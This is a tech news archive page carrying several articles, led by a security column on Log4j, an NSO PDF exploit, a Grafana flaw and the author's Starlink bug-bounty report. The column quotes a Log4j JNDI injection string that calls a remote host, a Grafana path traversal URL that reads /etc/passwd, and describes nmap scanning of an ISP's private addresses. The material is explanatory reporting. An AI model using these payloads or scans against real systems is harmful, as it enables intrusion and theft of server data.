News

3639 Articles

This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

December 17, 2021 by 35 Comments

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception.Starlink's debug output Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.

PinePhone Malware Surprises Users, Raises Questions

December 16, 2021 by 84 Comments

On December 5th, someone by the IRC nickname of [ubuntu] joined the Pine64 Discord’s #pinephone channel through an IRC bridge. In the spirit of December gift-giving traditions, they have presented their fellow PinePhone users with an offering – a “Snake” game. What [ubuntu] supposedly designed had the potential to become a stock, out-of-the-box-installed application with a small but dedicated community of fans, modders and speedrunners.

Unfortunately, that would not be the alternate universe we live in, and all was not well with the package being shared along with a cheerful “hei gaiz I make snake gaem here is link www2-pinephnoe-games-com-tz replace dash with dot kthxbai”  announcement. Shockingly, it was a trojan! Beneath layers of Base64 and Bashfuscator we’d encounter shell code that could be in the “example usage” section of a modern-day thesaurus entry for the word “yeet“.

Continue reading “PinePhone Malware Surprises Users, Raises Questions” →

Oh Deere, Is That Right To Repair Resolution Troubling You?

December 14, 2021 by 103 Comments

Over the years a constant in stories covering the right to repair has come from an unexpected direction, the farming community. Their John Deer tractors, a stalwart of North American agriculture, have become difficult to repair due to their parts using DRM restricting their use to authorised Deere agents. We’ve covered farmers using dubious software tools to do the job themselves, we’ve seen more than one legal challenge, and it’s reported that the price of a used Deere has suffered as farmers abandon their allegiance to newer green and yellow machines. Now comes news of a new front in the battle, as a socially responsible investment company has the tractor giant scrambling to block their shareholder motion on the matter.

Deere have not been slow in their fight-back against the threat of right-to-repair legislation and their becoming its unwilling poster-child, with CTO Jahmy Hindman going on record stating that 98% of repairs to Deere machinery can be done by the farmer themself (PDF, page 5) without need for a Deere agent. The question posed by supporters of the shareholder action is that given the substantial risk to investors of attracting a right-to-repair backlash, why would they run such a risk for the only 2% of repairs that remain? We’d be interested to know how Deere arrived at that figure, because given the relatively trivial nature of some of the examples we’ve seen it sounds far-fetched.

It’s beyond a doubt that Deere makes high-quality agricultural machinery that many farmers, including at least one Hackaday scribe, have used to raise a whole heap of crops. The kind of generational brand loyalty they have among their customers simply can’t be bought by clever marketing, it’s been built up over a century and a half. As spectators to its willful unpicking through this misguided use of their repair operation we hope that something like this shareholder move has the desired effect of bringing it to a close. After all, it won’t simply be of benefit to those who wish to repair their tractor, it might just rescue their now-damaged brand before it’s too late.

Curious about previous coverage on this ongoing story? This article from last year will give context.

Header image: Nheyob / CC BY-SA 4.0

Two Wire Sensors On LED Strips

December 4, 2021 by 7 Comments

While addressable LED strips are all the rage, [Mike] from [mikeselectricstuff] has been working on an installation using the more basic two-wire strips that are simply controlled via PWM dimming. He’s recently figured out a tidy way to send sensor signals down these strips without adding any additional cabling.

Schematic for hooking up a sensor
The circuit in question.

The build uses 24 V LED tape, which consists of gangs of 6 LEDs in series with a forward voltage of 3V. Thus, these strips don’t even begin to light until approximately 18V is across them.

By adding a 15 V Zener diode and a resistor across the MOSFET which dims the LEDs, a voltage of around 9 V can be put across the LEDs without lighting them up when the MOSFET PWM dimmer is in its off phase. A PIC10F322 microcontroller and an accelerometer can then be run from this voltage, with the aid of a 3.3 V regulator wired in parallel with the LEDs. The regulator must also be able to handle the full 24 V when the LEDs are switched on.

A transistor is also wired up, switching a 2.2 K resistor in parallel with the LEDs. When turned on by the PIC, this transistor causes roughly a 10 mA current to flow through the Zener diode and its series resistor. The voltage developed across that series resistor can be measured as the transistor is turned on and off. In this case, the pulse width used to turn that transistor on is relative to motion detected by the accelerometer on the end of the LED strip.

Turning the LEDs on at 100% duty cycle prevents the system working, as the pulse widths generated by the sensor circuit can’t be detected when the LED line is held high all the time. However, in practice, it matters not — running the LEDs at a maximum 98% duty cycle eliminates the issue.

It’s an ingenious way to send sensor signals down a two-wire LED strip, even if it does take a second to wrap one’s head around it. It also seems to do a great job of adding motion-reactive effects to the LED strips in question. It’s not the first LED project we’ve seen from [Mike], either. Video after the break.

Continue reading “Two Wire Sensors On LED Strips” →

This Week In Security: GoDaddy, Tardigrade, Monox, And BigSig

December 3, 2021 by 10 Comments

After the Thanksgiving break, we have two weeks of news to cover, so hang on for an extra-long entry. First up is GoDaddy, who suffered a breach starting on September 6th. According to an SEC filing, they noticed the problem on November 17th, and determined that there was unauthorized access to their provisioning system for their WordPress hosting service. For those keeping track at home, that’s two months and eleven days that a malicious actor had access. And what all was compromised? The email address and customer number of the approximate 1.2 million GoDaddy WordPress users; the initial WordPress password, in the clear; the SFTP and database passwords, also in the clear; and for some customers, their private SSL key.

The saving grace is that it seems that GoDaddy’s systems are segregated well enough that this breach doesn’t seem to have led to further widespread compromise. It’s unclear why passwords were stored in the clear beyond the initial setup procedure. To be safe, if you have a WordPress instance hosted by GoDaddy, you should examine it very carefully for signs of compromise, and rotate associated passwords. The SSL keys may be the most troubling, as this would allow an attacker to impersonate the domain. Given the length of time the attack had access, it would not surprise me to learn that more of GoDaddy’s infrastructure was actually compromised. Continue reading “This Week In Security: GoDaddy, Tardigrade, Monox, And BigSig” →

Image Credit: https://3dp.se/2018/04/17/3dmeetup-lockade-entusiaster-i-alla-aldrar/

Remembering Sanjay Mortimer, Pioneer And Visionary In 3D Printing

December 1, 2021 by 24 Comments

Over the weekend, Sanjay Mortimer passed away. This is a tremendous blow to the many people who he touched directly and indirectly throughout his life. We will remember Sanjay as pioneer, hacker, and beloved spokesperson for the 3D printing community.

If you’ve dabbled in 3D printing, you might recall Sanjay as the charismatic director and co-founder of the extrusion company E3D. He was always brimming with enthusiasm to showcase something that he and his company had been developing to push 3D printing further and further. But he was also thoughtful and a friend to many in the community.

Let’s talk about some of his footprints.

Continue reading “Remembering Sanjay Mortimer, Pioneer And Visionary In 3D Printing” →

Korean Facial Recognition Project Faces Opposition

December 1, 2021 by 20 Comments

It was discovered last month that a South Korean government project has been providing millions of facial images taken at Incheon International Airport to private industry without the consent of those photographed. Several civic groups called this a “shocking human rights disaster” in a 9 Nov press conference, and formally requested that the project be cancelled. In response, the government has only promised that “the project would be conducted at a minimum level to ensure personal information is not abused”. These groups are now planning a lawsuit to challenge the project.

Facial information and other biometric data aren’t easily altered and are unique to the individuals concerned. If this data were to be leaked, it would constitute a devastating infringement upon their privacy. It’s unheard of for state organizations — whose duty it is to manage and control facial recognition technology — to hand over biometric information collected for public purposes to a private-sector company for the development of technology.

The program itself wasn’t secret, and had been publicly announced back in 2019. But the project’s scope and implementation weren’t made clear until a lawmaker recently requested documents on the project from the responsible government agencies. The system, called the Artificial Intelligence and Tracking System Construction Project, was a pilot program set to run until 2022. Its goals were to simplify the security and immigration screening of passengers, improve airport security, and to promote the local AI industry in South Korea. If the project proves successful, the plan is to expand it to other airports and ports in the country.

Current systems at the airport do one-to-one facial recognition. For example, they try to determine whether the face of the person presenting a passport matches the photo in the passport. The goal of this new project was to develop one-to-many matching algorithms, which can match one face against the plethora of faces in an airport, track the movement of a face within the airport, and flag “suspicious” activities which could be a security concern.

The groups protesting the project note that the collection and sharing of these images without the travelers’ consent is prohibited by the Personal Information Protection Act, the South Korean law which governs such things. Under this act, a project like this would ordinarily require consent of the participants. But the government’s interpretation relies on an exception in the act, specifically, Article 15 Section 3, which states:

A personal information controller may use personal information without the consent of a data subject within the scope reasonably related to the initial purpose of the collection

Basically they are saying that since the images were collected at the security and immigration checkpoints, and that the project will be using them to improve the security and immigration checkpoints, no consent is required.

  • Foreigners: 120 million individuals, face image, nationality, gender, age
  • Korean citizens: 57.6 million individuals, face image, nationality, gender, age
  • Other: unknown number of individuals, images and videos of atypical behavior and travelers in motion

The breakdown of the numbers above reveals that 57 million Korean citizens are in the data set, a bit surprising to many since the collection of biometric data on Korean citizens at immigration is prohibited by law. The project circumvented this by only collecting data from citizens who participate in the automated Smart Entry service, a voluntary program which uses fingerprints and facial recognition. It’s interesting to note that the number of passengers using Incheon airport since May 2019 (the program was announced 30 Apr 2019) is only 62 million, so the average passenger appears approximately three times in the data set.

Are there any similar programs in your region? How do they handle the issue of consent, if at all? Let us know in the comments below.

[Banner image: “Customer uses facial recognition as identification at TSA security checkpoint” by DeltaNewsHub, CC BY 2.0  — Yes, it’s from another country with similar problems, but much less public outcry. Discuss in the comments!]